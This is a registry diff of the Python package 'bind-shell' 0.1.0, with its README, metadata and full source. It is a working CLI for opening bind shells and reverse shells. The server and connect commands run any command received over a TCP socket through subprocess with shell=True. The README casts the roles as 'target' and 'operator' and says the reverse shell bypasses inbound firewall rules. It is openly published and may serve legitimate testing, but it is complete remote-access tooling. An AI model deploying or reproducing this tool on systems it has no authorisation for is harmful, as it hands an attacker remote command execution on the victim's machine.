bind-shell 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,125 @@
1
+ Metadata-Version: 2.4
2
+ Name: bind-shell
3
+ Version: 0.1.0
4
+ Summary: A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
5
+ License: MIT
6
+ Author: Tyson Holub
7
+ Author-email: tyson@tysonholub.com
8
+ Requires-Python: >=3.10,<4.0
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Programming Language :: Python :: 3
11
+ Classifier: Programming Language :: Python :: 3.10
12
+ Classifier: Programming Language :: Python :: 3.11
13
+ Classifier: Programming Language :: Python :: 3.12
14
+ Classifier: Programming Language :: Python :: 3.13
15
+ Classifier: Programming Language :: Python :: 3.14
16
+ Requires-Dist: typer (>=0.13,<0.14)
17
+ Description-Content-Type: text/markdown
18
+
19
+ # bind-shell ![PyPi](https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-%2344CC11)
20
+
21
+ A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
22
+
23
+ ## Install
24
+
25
+ Use [pipx](https://pypa.github.io/pipx/) to install globally in an isolated python environment.
26
+
27
+ ```bash
28
+ pipx install bind-shell
29
+ ```
30
+
31
+ ## Usage
32
+
33
+ ```
34
+ Usage: bind-shell [OPTIONS] COMMAND [ARGS]...
35
+
36
+ ╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
37
+ │ --install-completion Install completion for the current shell. │
38
+ │ --show-completion Show completion for the current shell, to copy it or │
39
+ │ customize the installation. │
40
+ │ --help Show this message and exit. │
41
+ ╰─────────────────────────────────────────────────────────────────────────────────────────────╯
42
+ ╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
43
+ │ server Bind shell: bind a port and execute commands from an incoming client │
44
+ │ client Bind shell: connect to a server and send commands interactively │
45
+ │ listen Reverse shell: bind a port and send commands to an incoming connector │
46
+ │ connect Reverse shell: connect out to a listener and execute its commands │
47
+ ╰─────────────────────────────────────────────────────────────────────────────────────────────╯
48
+ ```
49
+
50
+ ### Bind shell
51
+
52
+ In a bind shell the **target runs `server`** — it binds a port and waits. The operator runs `client` to connect in and issue commands.
53
+
54
+ **On the target:**
55
+
56
+ ```bash
57
+ $ bind-shell server
58
+ Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
59
+ ```
60
+
61
+ **On the operator:**
62
+
63
+ ```bash
64
+ $ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
65
+ ```
66
+
67
+ ### Reverse shell
68
+
69
+ In a reverse shell the **operator runs `listen`** — it binds a port and waits. The target runs `connect` to call back out, bypassing inbound firewall rules.
70
+
71
+ **On the operator:**
72
+
73
+ ```bash
74
+ $ bind-shell listen
75
+ Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
76
+ ```
77
+
78
+ **On the target:**
79
+
80
+ ```bash
81
+ $ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
82
+ ```
83
+
84
+ ### Options
85
+
86
+ All commands accept `--port` (default: `4444`). `server` and `listen` also accept `--host` to control the bind address (default: `0.0.0.0`). `client` and `connect` require `--password` generated by `server` or `listen`.
87
+
88
+ ```bash
89
+ bind-shell server --host 0.0.0.0 --port 4444
90
+ bind-shell client <ip> --port 4444 --password some-pass
91
+ bind-shell listen --host 0.0.0.0 --port 4444
92
+ bind-shell connect <ip> --port 4444 --password some-pass
93
+ ```
94
+
95
+ Type `exit` or `quit` to close a session.
96
+
97
+ ## Dev Prerequisites
98
+
99
+ - python >=3.10
100
+ - [pipx](https://pypa.github.io/pipx/), an optional tool for prerequisite installs
101
+ - [poetry](https://github.com/python-poetry/poetry) (install globally with `pipx install poetry`)
102
+ - [flake8](https://github.com/PyCQA/flake8) (install globally with `pipx install flake8`)
103
+ - [flake8-bugbear](https://github.com/PyCQA/flake8-bugbear) extension (install with `pipx inject flake8 flake8-bugbear`)
104
+ - [flake8-naming](https://github.com/PyCQA/pep8-naming) extension (install with `pipx inject flake8 pep8-naming`)
105
+ - [black](https://github.com/psf/black) (install globally with `pipx install black`)
106
+ - [pre-commit](https://github.com/pre-commit/pre-commit) (install globally with `pipx install pre-commit`)
107
+ - [just](https://github.com/casey/just), a Justfile command runner
108
+
109
+ ## Updating python version
110
+
111
+ - Update python version in `Dev Prerequisites` above
112
+ - Update \[tool.poetry.dependencies\] section of `pyproject.toml`
113
+ - Update pyupgrade hook in `.pre-commit-config.yaml`
114
+ - Update python version in `.gitlab-ci.yml`
115
+
116
+ ## Justfile Targets
117
+
118
+ - `install`: installs poetry dependencies and pre-commit git hooks
119
+ - `update_boilerplate`: fetches and applies updates from the boilerplate remote
120
+ - `test`: runs pytest with test coverage report
121
+
122
+ ## Boilerplate
123
+
124
+ This project tracks the [pyplate](git@gitlab.com:tysonholub/pyplate.git) boilerplate via the `boilerplate` git remote. Run `just update_boilerplate` to pull latest changes. **NOTE**: keep the boilerplate remote history intact to successfully merge future updates.
125
+
@@ -0,0 +1,106 @@
1
+ # bind-shell ![PyPi](https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-%2344CC11)
2
+
3
+ A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
4
+
5
+ ## Install
6
+
7
+ Use [pipx](https://pypa.github.io/pipx/) to install globally in an isolated python environment.
8
+
9
+ ```bash
10
+ pipx install bind-shell
11
+ ```
12
+
13
+ ## Usage
14
+
15
+ ```
16
+ Usage: bind-shell [OPTIONS] COMMAND [ARGS]...
17
+
18
+ ╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
19
+ │ --install-completion Install completion for the current shell. │
20
+ │ --show-completion Show completion for the current shell, to copy it or │
21
+ │ customize the installation. │
22
+ │ --help Show this message and exit. │
23
+ ╰─────────────────────────────────────────────────────────────────────────────────────────────╯
24
+ ╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
25
+ │ server Bind shell: bind a port and execute commands from an incoming client │
26
+ │ client Bind shell: connect to a server and send commands interactively │
27
+ │ listen Reverse shell: bind a port and send commands to an incoming connector │
28
+ │ connect Reverse shell: connect out to a listener and execute its commands │
29
+ ╰─────────────────────────────────────────────────────────────────────────────────────────────╯
30
+ ```
31
+
32
+ ### Bind shell
33
+
34
+ In a bind shell the **target runs `server`** — it binds a port and waits. The operator runs `client` to connect in and issue commands.
35
+
36
+ **On the target:**
37
+
38
+ ```bash
39
+ $ bind-shell server
40
+ Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
41
+ ```
42
+
43
+ **On the operator:**
44
+
45
+ ```bash
46
+ $ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
47
+ ```
48
+
49
+ ### Reverse shell
50
+
51
+ In a reverse shell the **operator runs `listen`** — it binds a port and waits. The target runs `connect` to call back out, bypassing inbound firewall rules.
52
+
53
+ **On the operator:**
54
+
55
+ ```bash
56
+ $ bind-shell listen
57
+ Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
58
+ ```
59
+
60
+ **On the target:**
61
+
62
+ ```bash
63
+ $ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
64
+ ```
65
+
66
+ ### Options
67
+
68
+ All commands accept `--port` (default: `4444`). `server` and `listen` also accept `--host` to control the bind address (default: `0.0.0.0`). `client` and `connect` require `--password` generated by `server` or `listen`.
69
+
70
+ ```bash
71
+ bind-shell server --host 0.0.0.0 --port 4444
72
+ bind-shell client <ip> --port 4444 --password some-pass
73
+ bind-shell listen --host 0.0.0.0 --port 4444
74
+ bind-shell connect <ip> --port 4444 --password some-pass
75
+ ```
76
+
77
+ Type `exit` or `quit` to close a session.
78
+
79
+ ## Dev Prerequisites
80
+
81
+ - python >=3.10
82
+ - [pipx](https://pypa.github.io/pipx/), an optional tool for prerequisite installs
83
+ - [poetry](https://github.com/python-poetry/poetry) (install globally with `pipx install poetry`)
84
+ - [flake8](https://github.com/PyCQA/flake8) (install globally with `pipx install flake8`)
85
+ - [flake8-bugbear](https://github.com/PyCQA/flake8-bugbear) extension (install with `pipx inject flake8 flake8-bugbear`)
86
+ - [flake8-naming](https://github.com/PyCQA/pep8-naming) extension (install with `pipx inject flake8 pep8-naming`)
87
+ - [black](https://github.com/psf/black) (install globally with `pipx install black`)
88
+ - [pre-commit](https://github.com/pre-commit/pre-commit) (install globally with `pipx install pre-commit`)
89
+ - [just](https://github.com/casey/just), a Justfile command runner
90
+
91
+ ## Updating python version
92
+
93
+ - Update python version in `Dev Prerequisites` above
94
+ - Update \[tool.poetry.dependencies\] section of `pyproject.toml`
95
+ - Update pyupgrade hook in `.pre-commit-config.yaml`
96
+ - Update python version in `.gitlab-ci.yml`
97
+
98
+ ## Justfile Targets
99
+
100
+ - `install`: installs poetry dependencies and pre-commit git hooks
101
+ - `update_boilerplate`: fetches and applies updates from the boilerplate remote
102
+ - `test`: runs pytest with test coverage report
103
+
104
+ ## Boilerplate
105
+
106
+ This project tracks the [pyplate](git@gitlab.com:tysonholub/pyplate.git) boilerplate via the `boilerplate` git remote. Run `just update_boilerplate` to pull latest changes. **NOTE**: keep the boilerplate remote history intact to successfully merge future updates.
@@ -0,0 +1,9 @@
1
+ # Released under MIT License (https://gitlab.com/tysonholub/pyplate)
2
+
3
+ Copyright (c) 2025 Tyson Holub.
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
6
+
7
+ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
8
+
9
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
@@ -0,0 +1,92 @@
1
+ [tool.black]
2
+ # bump the dev dependency version when updating this
3
+ # also bump black version in the pre-commit config
4
+ required-version = "24.10.0"
5
+ line-length = 119
6
+ # fast disables black AST (covered by bandit pre-commit plugin)
7
+ fast = true
8
+ # preview required for unstable features
9
+ preview = true
10
+ # check these with `black --help` when updating required-version
11
+ enable-unstable-feature = [
12
+ "string_processing",
13
+ "hug_parens_with_braces_and_square_brackets",
14
+ "wrap_long_dict_values_in_parens",
15
+ "multiline_string_handling",
16
+ ]
17
+
18
+ [tool.pytest.ini_options]
19
+ minversion = "7.0"
20
+ addopts = "--strict-markers --strict-config"
21
+ asyncio_mode = "auto"
22
+ norecursedirs = [".git", ".tox", ".env", ".venv"]
23
+ testpaths = ["pytests"]
24
+ timeout = 60
25
+ pythonpath = ["pysrc"]
26
+
27
+ [tool.poetry]
28
+ name = "bind-shell"
29
+ version = "0.1.0"
30
+ description = "A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies."
31
+ authors = ["Tyson Holub <tyson@tysonholub.com>"]
32
+ license = "MIT"
33
+ readme = "README.md"
34
+ packages = [{ include = "bind_shell", from = "pysrc" }]
35
+ include = ["pyplate.md"]
36
+
37
+ [tool.poetry.dependencies]
38
+ python = "^3.10"
39
+ typer = "^0.13"
40
+
41
+ [tool.poetry.group.dev.dependencies]
42
+ black = "24.10.0"
43
+ coverage = "^7"
44
+ pytest = "^8"
45
+ pytest-asyncio = "^0.24"
46
+ pytest-timeout = "^2"
47
+
48
+ [tool.poetry.plugins."console_scripts"]
49
+ bind-shell = "bind_shell.app:main"
50
+
51
+ [tool.isort]
52
+ line_length = 119
53
+ use_parentheses = true
54
+ multi_line_output = 3
55
+ include_trailing_comma = true
56
+ src_paths = ["pysrc", "pytests"]
57
+
58
+ [tool.bandit]
59
+ skips = ["B603", "B602"]
60
+
61
+ [tool.coverage.report]
62
+ # Regexes for lines to exclude from consideration
63
+ exclude_also = [
64
+ # Don't complain about missing debug-only code:
65
+ "def __repr__",
66
+ "if self\\.debug",
67
+
68
+ # Don't complain if tests don't hit defensive assertion code:
69
+ "raise AssertionError",
70
+ "raise NotImplementedError",
71
+
72
+ # Don't complain if non-runnable code isn't run:
73
+ "if 0:",
74
+ "if __name__ == .__main__.:",
75
+
76
+ # Don't complain about abstract methods, they aren't run:
77
+ "@(abc\\.)?abstractmethod",
78
+ ]
79
+
80
+ [tool.pylint.'FORMAT']
81
+ max-line-length = 119
82
+
83
+ [tool.pylint.'MESSAGES CONTROL']
84
+ disable = ["wrong-import-position"]
85
+
86
+ [build-system]
87
+ requires = ["poetry-core"]
88
+ build-backend = "poetry.core.masonry.api"
89
+
90
+ [[tool.poetry.source]]
91
+ name = "PyPI"
92
+ priority = "primary"
@@ -0,0 +1,12 @@
1
+ import logging
2
+ import sys
3
+
4
+ import typer
5
+
6
+ logger = logging.getLogger(__name__)
7
+ logger.setLevel(logging.INFO)
8
+ handler = logging.StreamHandler(sys.stdout)
9
+ handler.setLevel(logging.INFO)
10
+ logger.addHandler(handler)
11
+
12
+ cli = typer.Typer()
@@ -0,0 +1,3 @@
1
+ from bind_shell import cli
2
+
3
+ cli()
@@ -0,0 +1,85 @@
1
+ import secrets
2
+ import socket
3
+ import sys
4
+ import urllib.request
5
+ from typing import Annotated
6
+
7
+ import typer
8
+
9
+ from bind_shell import cli, logger
10
+ from bind_shell.commands import run_client, run_connect, run_listen, run_server
11
+
12
+ DEFAULT_PORT = 4444
13
+
14
+
15
+ def main():
16
+ try:
17
+ cli()
18
+ except Exception as e:
19
+ typer.echo(f"{e.__class__.__name__}: {e}")
20
+ sys.exit(1)
21
+
22
+
23
+ def _get_wan_ip() -> str | None:
24
+ try:
25
+ with urllib.request.urlopen("https://api.ipify.org", timeout=5) as resp:
26
+ return resp.read().decode()
27
+ except Exception:
28
+ return None
29
+
30
+
31
+ def _get_lan_ip() -> str | None:
32
+ try:
33
+ with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
34
+ s.connect(("8.8.8.8", 80))
35
+ return s.getsockname()[0]
36
+ except Exception:
37
+ return None
38
+
39
+
40
+ def get_ip() -> str | None:
41
+ return _get_wan_ip() or _get_lan_ip() or "localhost"
42
+
43
+
44
+ def _generate_password() -> str:
45
+ return secrets.token_urlsafe(16)
46
+
47
+
48
+ @cli.command(name="server", help="Bind shell: bind a port and execute commands from an incoming client")
49
+ def server(
50
+ host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
51
+ port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
52
+ ):
53
+ ip = get_ip()
54
+ password = _generate_password()
55
+ logger.info(f"Bind-Shell Connection: bind-shell client {ip} --port {port} --password {password}")
56
+ run_server(host=host, port=port, password=password)
57
+
58
+
59
+ @cli.command(name="client", help="Bind shell: connect to a server and send commands interactively")
60
+ def client(
61
+ host: Annotated[str, typer.Argument(help="Host address of the bind shell server")],
62
+ port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
63
+ password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
64
+ ):
65
+ run_client(host=host, port=port, password=password)
66
+
67
+
68
+ @cli.command(name="listen", help="Reverse shell: bind a port and send commands to an incoming connector")
69
+ def listen(
70
+ host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
71
+ port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
72
+ ):
73
+ ip = get_ip()
74
+ password = _generate_password()
75
+ logger.info(f"Reverse-Shell Connection: bind-shell connect {ip} --port {port} --password {password}")
76
+ run_listen(host=host, port=port, password=password)
77
+
78
+
79
+ @cli.command(name="connect", help="Reverse shell: connect out to a listener and execute its commands")
80
+ def connect(
81
+ host: Annotated[str, typer.Argument(help="Host address of the reverse shell listener")],
82
+ port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
83
+ password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
84
+ ):
85
+ run_connect(host=host, port=port, password=password)
@@ -0,0 +1,145 @@
1
+ import socket
2
+ import subprocess
3
+ import sys
4
+ import threading
5
+
6
+ from bind_shell import logger
7
+
8
+ BUFFER_SIZE = 4096
9
+ CMD_TIMEOUT = 30
10
+ PROMPT = b"bind-shell$ "
11
+
12
+
13
+ def _auth_server(conn: socket.socket, password: str) -> bool:
14
+ conn.sendall(b"password: ")
15
+ try:
16
+ data = conn.recv(BUFFER_SIZE)
17
+ except (ConnectionResetError, BrokenPipeError):
18
+ return False
19
+ if data.decode(errors="replace").strip() == password:
20
+ conn.sendall(b"authenticated\n")
21
+ return True
22
+ conn.sendall(b"denied\n")
23
+ return False
24
+
25
+
26
+ def _auth_client(sock: socket.socket, password: str) -> bool:
27
+ challenge = sock.recv(BUFFER_SIZE)
28
+ if challenge != b"password: ":
29
+ return False
30
+ sock.sendall(f"{password}\n".encode())
31
+ response = sock.recv(BUFFER_SIZE)
32
+ return response.strip() == b"authenticated"
33
+
34
+
35
+ def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT):
36
+ while True:
37
+ conn.sendall(prompt)
38
+ try:
39
+ data = conn.recv(BUFFER_SIZE)
40
+ except (ConnectionResetError, BrokenPipeError):
41
+ break
42
+ if not data:
43
+ break
44
+ cmd = data.decode(errors="replace").strip()
45
+ if cmd.lower() in ("exit", "quit"):
46
+ break
47
+ logger.info(f"$ {cmd}")
48
+ try:
49
+ result = subprocess.run(cmd, shell=True, capture_output=True, timeout=CMD_TIMEOUT) # nosec
50
+ output = result.stdout + result.stderr
51
+ except subprocess.TimeoutExpired:
52
+ output = b"Command timed out\n"
53
+ except Exception as e:
54
+ output = f"{e}\n".encode()
55
+ conn.sendall(output or b"\n")
56
+
57
+
58
+ def _interactive_loop(sock: socket.socket):
59
+ def _reader():
60
+ while True:
61
+ try:
62
+ data = sock.recv(BUFFER_SIZE)
63
+ except OSError:
64
+ break
65
+ if not data:
66
+ break
67
+ sys.stdout.buffer.write(data)
68
+ sys.stdout.buffer.flush()
69
+
70
+ threading.Thread(target=_reader, daemon=True).start()
71
+
72
+ try:
73
+ for line in sys.stdin:
74
+ sock.sendall(line.encode())
75
+ except OSError:
76
+ pass
77
+
78
+
79
+ def _executor_session(conn: socket.socket, addr: tuple, password: str):
80
+ logger.info(f"Client connected: {addr[0]}:{addr[1]}")
81
+ if not _auth_server(conn, password):
82
+ logger.info(f"Authentication failed: {addr[0]}:{addr[1]}")
83
+ return
84
+ try:
85
+ _executor_loop(conn, prompt=f"bind-shell@{addr[0]}$ ".encode())
86
+ finally:
87
+ logger.info(f"Client disconnected: {addr[0]}:{addr[1]}")
88
+
89
+
90
+ def _interactive_session(conn: socket.socket, addr: tuple, password: str):
91
+ if not _auth_server(conn, password):
92
+ sys.stdout.buffer.write(f"Authentication failed: {addr[0]}:{addr[1]}\n".encode())
93
+ sys.stdout.buffer.flush()
94
+ return
95
+ sys.stdout.buffer.write(f"Connected: {addr[0]}:{addr[1]}\n".encode())
96
+ sys.stdout.buffer.flush()
97
+ try:
98
+ _interactive_loop(conn)
99
+ finally:
100
+ sys.stdout.buffer.write(f"\nDisconnected: {addr[0]}:{addr[1]}\n".encode())
101
+ sys.stdout.buffer.flush()
102
+
103
+
104
+ def run_server(host: str, port: int, password: str):
105
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
106
+ server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
107
+ server.bind((host, port))
108
+ server.listen(1)
109
+ try:
110
+ while True:
111
+ conn, addr = server.accept()
112
+ threading.Thread(target=_executor_session, args=(conn, addr, password), daemon=True).start()
113
+ except KeyboardInterrupt:
114
+ pass
115
+
116
+
117
+ def run_client(host: str, port: int, password: str):
118
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
119
+ sock.connect((host, port))
120
+ if not _auth_client(sock, password):
121
+ raise Exception("Authentication failed")
122
+ _interactive_loop(sock)
123
+
124
+
125
+ def run_listen(host: str, port: int, password: str):
126
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
127
+ server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
128
+ server.bind((host, port))
129
+ server.listen(1)
130
+ try:
131
+ while True:
132
+ conn, addr = server.accept()
133
+ with conn:
134
+ _interactive_session(conn, addr, password)
135
+ except KeyboardInterrupt:
136
+ pass
137
+
138
+
139
+ def run_connect(host: str, port: int, password: str):
140
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
141
+ sock.connect((host, port))
142
+ local_ip, local_port = sock.getsockname()
143
+ if not _auth_client(sock, password):
144
+ raise Exception("Authentication failed")
145
+ _executor_loop(sock, prompt=f"bind-shell@{local_ip}:{local_port}$ ".encode())